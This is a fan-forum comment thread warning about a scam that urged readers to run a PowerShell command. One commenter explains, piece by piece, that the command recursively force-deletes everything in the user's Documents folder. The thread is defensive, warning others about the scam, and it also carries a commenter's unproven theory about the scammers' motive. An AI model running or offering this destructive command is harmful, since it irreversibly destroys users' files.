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  1. The_Highlands_Lady Wed 28 Jan 2026 05:05PM UTC

    That’s a scam thing going around. It’s not real, so don’t fuss about it. The troublemakers behind it are trying to get people to delete their fanfic documents, and are using the “IP wall” (which isnt even a real thing) to do so.

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    1. knight7272 Wed 28 Jan 2026 05:07PM UTC

      So it was dodgy

      Got to admit the thing was convincing to the point that I had opened my PowerShell, but put the code aside in a notepad file until I heard from the Archive and once I had seen your reply i closed it and deleted the thing in the notepad file and will never open my PowerShell to anyone ever

      So the code that the guest in the guest comment I saw would have deleted the fanfic files on my computer?

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      1. The_Highlands_Lady Wed 28 Jan 2026 05:18PM UTC

        It’s an attempt to add fics to AI scraping. If your documents are all deleted, but your work shows up in an AI generator… then *clearly* it was AI written and there’s nothing the original author can do to show that they wrote the fic originally… so whoops, no DMCA reports can be filed because clearly it was written by AI!

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          1. The_Highlands_Lady Wed 28 Jan 2026 05:37PM UTC

            Ao3’s subreddit is already chattering about it, but I’m working on drafting an email to the OTW about this too.

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            1. knight7272 Wed 28 Jan 2026 05:37PM UTC

              Good

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          3. The_Highlands_Lady Wed 28 Jan 2026 06:16PM UTC

            Here’s how it works:
            > Get-ChildItem -Path "$env:USERPROFILE\Documents*"

            this means "go to your documents folder and grab everything"

            -Exclude *.archiveofourown

            means "ignore types of things that have a file type .archiveofourown" (which is a nonesense statement: .archiveofourown isnt a file type)

            -Recurse | Remove-Item -Force

            means "take all those things and delete them and don't bother asking for permission cuz i said delete them NOW"

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            1. knight7272 Wed 28 Jan 2026 06:19PM UTC

              okay thank you for sharing that

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